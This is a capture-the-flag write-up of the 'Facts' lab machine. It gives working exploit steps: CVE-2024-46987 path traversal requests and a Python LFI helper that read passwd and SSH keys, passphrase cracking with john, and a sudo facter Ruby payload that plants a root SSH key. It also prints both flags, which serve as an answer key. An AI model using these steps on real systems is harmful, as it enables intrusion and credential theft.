Difficulty: Easy OS: Ubuntu 25.04 IP: 10.129.1.24 (originally 10.129.6.224, reset mid-session) Hostname: facts.htb Date: 2026-02-18
| Flag | Value |
|---|---|
| user.txt | 1b0eac565dfa6fed16a5ef7a9c4119d6 |
| root.txt | b9761f4d5daace58662057adddb56e7c |
- Recon & Enumeration
- MinIO Anonymous Access
- Camaleon CMS — Account Registration (CAPTCHA)
- CVE-2024-46987 — Path Traversal / LFI
- SSH Key Extraction & Cracking
- Privilege Escalation — facter (GTFOBins)
- Root
- Key Vulnerabilities Summary
nmap -sC -sV -p- --min-rate 5000 -oA ~/htb/facts_nmap_full 10.129.1.24| Port | Service | Details |
|---|---|---|
| 22 | SSH | OpenSSH 9.9p1 Ubuntu |
| 80 | HTTP | nginx 1.26.3 — Camaleon CMS (Ruby on Rails) |
| 54321 | HTTP | MinIO S3-compatible object storage (redirects to port 9001 internally) |
- Port 80: Camaleon CMS v2.9.0 — "facts" site
- Admin panel:
http://facts.htb/admin/login - Registration:
http://facts.htb/admin/register - Content pages:
http://facts.htb/page
- Admin panel:
- Port 54321: MinIO S3 API
- Bucket
randomfacts— anonymous read/write/delete enabled - Bucket
media,uploads— AccessDenied
- Bucket
- MinIO bucket
randomfactsserves images used on fact pages via nginx proxy at/randomfacts/ - Thumbnails exist for some images (e.g.,
thumb/dogspoop-png.png) without originals — generated by CMS media manager - Camaleon CMS admin registration is open but gated behind image CAPTCHA
/etc/hostsentry:10.129.1.24 facts.htb
# List bucket contents
curl -s "http://facts.htb:54321/randomfacts/?list-type=2" | grep -oP '(?<=<Key>)[^<]+'
# Upload test file anonymously
curl -s -X PUT "http://facts.htb:54321/randomfacts/test.txt" \
-H "Content-Type: text/plain" \
--data "hello"
# Returns HTTP 200 — write confirmed
# Delete file
curl -s -X DELETE "http://facts.htb:54321/randomfacts/test.txt"
# Returns HTTP 204 — delete confirmed- ImageMagick SSRF (MVG/MSL payloads) — no background processing on direct MinIO uploads
- SVG XSS via
pwn.svgin bucket — thumbnailing only triggers through CMS media manager, not direct S3 uploads - CVE-2023-28432 (MinIO info disclosure) — not applicable on this version/config
- MinIO credential brute-force — failed
The /admin/register endpoint is public but requires solving an image CAPTCHA. The captcha answer is stored server-side in the session cookie, so all steps (page fetch → captcha image fetch → form submit) must share the same session.
import requests, re, time, pickle
session = requests.Session()
# Step 1: GET register page (initialises session + gets CSRF)
r = session.get("http://facts.htb/admin/register")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
# Step 2: Download captcha image with SAME session
r2 = session.get(f"http://facts.htb/captcha?len=5&t={int(time.time())}")
with open("/tmp/captcha.png", "wb") as f:
f.write(r2.content)
# Step 3: Read captcha (manually or via OCR), then submit
captcha_value = "FTQL8" # example — read from image each time
data = {
"authenticity_token": csrf,
"user[first_name]": "Attacker",
"user[last_name]": "Test",
"user[email]": "attacker999@pwn.com",
"user[username]": "attacker999",
"user[password]": "Attacker123!",
"user[password_confirmation]": "Attacker123!",
"captcha": captcha_value
}
r3 = session.post("http://facts.htb/admin/register", data=data, allow_redirects=True)
# Success: "The user has been created." + redirect to /admin/loginr = session.get("http://facts.htb/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
r2 = session.post("http://facts.htb/admin/login", data={
"authenticity_token": csrf,
"user[username]": "attacker999",
"user[password]": "Attacker123!"
}, allow_redirects=True)
# Success: redirects to /admin/dashboardThe profile edit page exposed a user[role] select with options: admin, client, contributor, editor.
Submitting user[role]=admin via PATCH to /admin/users/<id> was blocked by the server for self-updates (Camaleon CMS strips the role param when editing your own profile).
Vulnerability: Camaleon CMS v2.9.0 — Path Traversal in download_private_file media endpoint
CVSS: Critical
Auth required: Yes (any registered user, even "client" role)
References:
- https://www.cve.org/CVERecord?id=CVE-2024-46987
- https://github.com/camaleon-cms/camaleon-cms/security/advisories
GET /admin/media/download_private_file?file=<PATH_TRAVERSAL>
curl -s -b "_factsapp_session=<SESSION_COOKIE>" \
"http://facts.htb/admin/media/download_private_file?file=../../../etc/passwd"Returns full /etc/passwd.
def lfi(path, session):
base = "http://facts.htb"
for prefix in ["../../../", "../../../../", "../../../../../", "../../../../../../"]:
r = session.get(
f"{base}/admin/media/download_private_file?file={prefix}{path}",
allow_redirects=False
)
if r.status_code == 200 and len(r.content) > 0:
return r.content
return None| File | Finding |
|---|---|
/etc/passwd |
Users: trivia (uid 1000), william (uid 1001) |
/home/william/user.txt |
user flag → 1b0eac565dfa6fed16a5ef7a9c4119d6 |
/home/trivia/.ssh/id_ed25519 |
Encrypted SSH private key (passphrase protected) |
/home/trivia/.ssh/authorized_keys |
Public key: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAoegtYqsUt3O68nCw1MCo6L6qODdwgQjsWTDxSUfhKm |
# /etc/passwd
curl -s -b "SESSION" "http://facts.htb/admin/media/download_private_file?file=../../../etc/passwd"
# user flag
curl -s -b "SESSION" "http://facts.htb/admin/media/download_private_file?file=../../../../home/william/user.txt"
# SSH private key
curl -s -b "SESSION" "http://facts.htb/admin/media/download_private_file?file=../../../../home/trivia/.ssh/id_ed25519"Saved to /tmp/trivia_id_ed25519 — encrypted with aes256-ctr + bcrypt (passphrase-protected).
# Convert SSH key to John format
ssh2john /tmp/trivia_id_ed25519 > /tmp/trivia_key.hash
# Crack with rockyou
john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-70.txt /tmp/trivia_key.hash
# Result
john --show /tmp/trivia_key.hash
# /tmp/trivia_id_ed25519:dragonballzPassphrase: dragonballz
chmod 600 /tmp/trivia_id_ed25519
ssh -i /tmp/trivia_id_ed25519 trivia@facts.htb
# Enter passphrase: dragonballzUser trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
facter v4.10.0 is a Puppet system information tool that supports custom Ruby facts via --custom-dir. Since it runs as root via sudo, we can execute arbitrary Ruby/system commands as root.
Reference: https://gtfobins.github.io/gtfobins/facter/
# Step 1: Create directory for custom fact
mkdir -p /tmp/facts_custom
# Step 2: Write malicious Ruby fact
cat > /tmp/facts_custom/pwn.rb << 'RUBY'
Facter.add("pwn") do
setcode do
system("mkdir -p /root/.ssh && chmod 700 /root/.ssh")
system("echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAoegtYqsUt3O68nCw1MCo6L6qODdwgQjsWTDxSUfhKm trivia' >> /root/.ssh/authorized_keys")
system("chmod 600 /root/.ssh/authorized_keys")
"done"
end
end
RUBY
# Step 3: Execute as root via sudo
sudo /usr/bin/facter --custom-dir /tmp/facts_custom pwn
# Output: donessh -i /tmp/trivia_id_ed25519 root@facts.htb
# Enter passphrase: dragonballz
# uid=0(root) gid=0(root) groups=0(root)root@facts:~# cat /root/root.txt
b9761f4d5daace58662057adddb56e7c
root@facts:~# cat /home/william/user.txt
1b0eac565dfa6fed16a5ef7a9c4119d6| # | Vulnerability | Impact | Reference |
|---|---|---|---|
| 1 | MinIO randomfacts bucket — anonymous read/write/delete |
Upload arbitrary files to web-accessible storage | S3 misconfiguration |
| 2 | Camaleon CMS — open registration with weak CAPTCHA | Create authenticated CMS user | — |
| 3 | CVE-2024-46987 — Path Traversal / LFI in Camaleon CMS v2.9.0 | Read arbitrary files as the Rails app user (incl. SSH keys, flags) | https://www.cve.org/CVERecord?id=CVE-2024-46987 |
| 4 | Encrypted SSH key with weak passphrase (dragonballz) |
SSH access as trivia |
— |
| 5 | sudo NOPASSWD: /usr/bin/facter misconfiguration |
Arbitrary command execution as root via custom Ruby facts | https://gtfobins.github.io/gtfobins/facter/ |
[Attacker]
│
├─1─► Nmap scan → Ports 22, 80, 54321 (MinIO)
│
├─2─► MinIO anonymous write → upload files to randomfacts bucket
│
├─3─► Camaleon CMS /admin/register → register account (solve CAPTCHA)
│ └─► Login as "client" user → /admin/dashboard
│
├─4─► CVE-2024-46987 LFI → /admin/media/download_private_file?file=../../../../
│ ├─► /home/william/user.txt ← USER FLAG
│ └─► /home/trivia/.ssh/id_ed25519 (encrypted key)
│
├─5─► john + rockyou → passphrase: "dragonballz"
│ └─► ssh -i trivia_id_ed25519 trivia@facts.htb
│
├─6─► sudo -l → (ALL) NOPASSWD: /usr/bin/facter
│ └─► Custom Ruby fact → system() → append SSH key to /root/.ssh/authorized_keys
│
└─7─► ssh root@facts.htb → cat /root/root.txt ← ROOT FLAG
| Tool | Purpose |
|---|---|
nmap |
Port scanning & service fingerprinting |
curl |
HTTP requests, MinIO S3 API, LFI exploitation |
python3 + requests |
CMS registration, session handling, LFI scripting |
ssh2john |
Convert SSH private key to John-crackable format |
john |
Crack SSH key passphrase |
expect |
Automate SSH interactive passphrase entry |
scp |
Upload exploit scripts to target |
- CVE-2024-46987: https://www.cve.org/CVERecord?id=CVE-2024-46987
- Camaleon CMS GitHub: https://github.com/camaleon-cms/camaleon-cms
- GTFOBins — facter: https://gtfobins.github.io/gtfobins/facter/
- MinIO S3 API docs: https://min.io/docs/minio/linux/developers/python/API.html
- HackTricks — LFI: https://book.hacktricks.xyz/pentesting-web/file-inclusion
- HackTricks — sudo privesc: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid